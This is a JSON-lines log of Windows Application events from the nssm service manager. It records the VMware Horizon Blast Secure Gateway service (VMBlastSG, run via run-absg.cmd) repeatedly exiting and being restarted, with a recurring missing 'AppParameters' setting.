{"@timestamp":1646656503872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153252","153252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155664}}
{"@timestamp":1646656503889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155665}}
{"@timestamp":1646656503890,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155666}}
{"@timestamp":1646656503891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155667}}
{"@timestamp":1646656503891,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155668}}
{"@timestamp":1646656632381,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155669}}
{"@timestamp":1646656632382,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155670}}
{"@timestamp":1646656632383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150688","0"]}}},"module":"Application","provider":"nssm","sequence":155671}}
{"@timestamp":1646656632383,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150688","150688","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155672}}
{"@timestamp":1646656632400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155673}}
{"@timestamp":1646656632401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155674}}
{"@timestamp":1646656632401,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155675}}
{"@timestamp":1646656632402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155676}}
{"@timestamp":1646656760915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155677}}
{"@timestamp":1646656760916,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155678}}
{"@timestamp":1646656760917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150828","0"]}}},"module":"Application","provider":"nssm","sequence":155679}}
{"@timestamp":1646656760917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150828","150828","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155680}}
{"@timestamp":1646656760935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155681}}
{"@timestamp":1646656760935,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155682}}
{"@timestamp":1646656760936,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155683}}
{"@timestamp":1646656760937,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155684}}
{"@timestamp":1646656889430,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155685}}
{"@timestamp":1646656889431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155686}}
{"@timestamp":1646656889431,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153412","0"]}}},"module":"Application","provider":"nssm","sequence":155687}}
{"@timestamp":1646656889432,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153412","153412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155688}}
{"@timestamp":1646656889449,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155689}}
{"@timestamp":1646656889450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155690}}
{"@timestamp":1646656889450,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155691}}
{"@timestamp":1646656889451,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155692}}
{"@timestamp":1646657017962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155693}}
{"@timestamp":1646657017962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155694}}
{"@timestamp":1646657017962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151960","0"]}}},"module":"Application","provider":"nssm","sequence":155695}}
{"@timestamp":1646657017962,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151960","151960","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155696}}
{"@timestamp":1646657017979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155697}}
{"@timestamp":1646657017980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155698}}
{"@timestamp":1646657017980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155699}}
{"@timestamp":1646657017981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155700}}
{"@timestamp":1646657146517,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155701}}
{"@timestamp":1646657146519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155702}}
{"@timestamp":1646657146520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153416","0"]}}},"module":"Application","provider":"nssm","sequence":155703}}
{"@timestamp":1646657146521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153416","153416","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155704}}
{"@timestamp":1646657146538,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155705}}
{"@timestamp":1646657146539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155706}}
{"@timestamp":1646657146539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155707}}
{"@timestamp":1646657146540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155708}}
{"@timestamp":1646657275028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155709}}
{"@timestamp":1646657275028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155710}}
{"@timestamp":1646657275029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151964","0"]}}},"module":"Application","provider":"nssm","sequence":155711}}
{"@timestamp":1646657275029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151964","151964","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155712}}
{"@timestamp":1646657275047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155713}}
{"@timestamp":1646657275047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155714}}
{"@timestamp":1646657275048,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155715}}
{"@timestamp":1646657275049,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155716}}
{"@timestamp":1646657403542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155717}}
{"@timestamp":1646657403542,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155718}}
{"@timestamp":1646657403543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152672","0"]}}},"module":"Application","provider":"nssm","sequence":155719}}
{"@timestamp":1646657403543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152672","152672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155720}}
{"@timestamp":1646657403561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155721}}
{"@timestamp":1646657403561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155722}}
{"@timestamp":1646657403562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155723}}
{"@timestamp":1646657403563,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155724}}
{"@timestamp":1646657532052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155725}}
{"@timestamp":1646657532053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155726}}
{"@timestamp":1646657532053,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","151872","0"]}}},"module":"Application","provider":"nssm","sequence":155727}}
{"@timestamp":1646657532055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["151872","151872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155728}}
{"@timestamp":1646657532072,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155729}}
{"@timestamp":1646657532073,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155730}}
{"@timestamp":1646657532074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155731}}
{"@timestamp":1646657532075,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155732}}
{"@timestamp":1646657660637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155733}}
{"@timestamp":1646657660638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155734}}
{"@timestamp":1646657660638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153192","0"]}}},"module":"Application","provider":"nssm","sequence":155735}}
{"@timestamp":1646657660638,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153192","153192","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155736}}
{"@timestamp":1646657660655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155737}}
{"@timestamp":1646657660656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155738}}
{"@timestamp":1646657660656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155739}}
{"@timestamp":1646657660657,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155740}}
{"@timestamp":1646657789145,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155741}}
{"@timestamp":1646657789148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155742}}
{"@timestamp":1646657789149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153504","0"]}}},"module":"Application","provider":"nssm","sequence":155743}}
{"@timestamp":1646657789149,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153504","153504","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155744}}
{"@timestamp":1646657789165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155745}}
{"@timestamp":1646657789166,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155746}}
{"@timestamp":1646657789167,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155747}}
{"@timestamp":1646657789168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155748}}
{"@timestamp":1646657917673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155749}}
{"@timestamp":1646657917673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155750}}
{"@timestamp":1646657917674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153432","0"]}}},"module":"Application","provider":"nssm","sequence":155751}}
{"@timestamp":1646657917674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153432","153432","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155752}}
{"@timestamp":1646657917693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155753}}
{"@timestamp":1646657917693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155754}}
{"@timestamp":1646657917694,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155755}}
{"@timestamp":1646657917695,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155756}}
{"@timestamp":1646658046230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155757}}
{"@timestamp":1646658046231,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155758}}
{"@timestamp":1646658046232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152488","0"]}}},"module":"Application","provider":"nssm","sequence":155759}}
{"@timestamp":1646658046232,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152488","152488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155760}}
{"@timestamp":1646658046248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150868","0"]}}},"module":"Application","provider":"nssm","sequence":155761}}
{"@timestamp":1646658046248,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150868","152488","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":155762}}
{"@timestamp":1646658046263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155763}}
{"@timestamp":1646658046264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":155764}}
{"@timestamp":1646658046264,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":155765}}
{"@timestamp":1646658046265,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":155766}}
{"@timestamp":1646658174791,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":155767}}
{"@timestamp":1646658174793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":155768}}
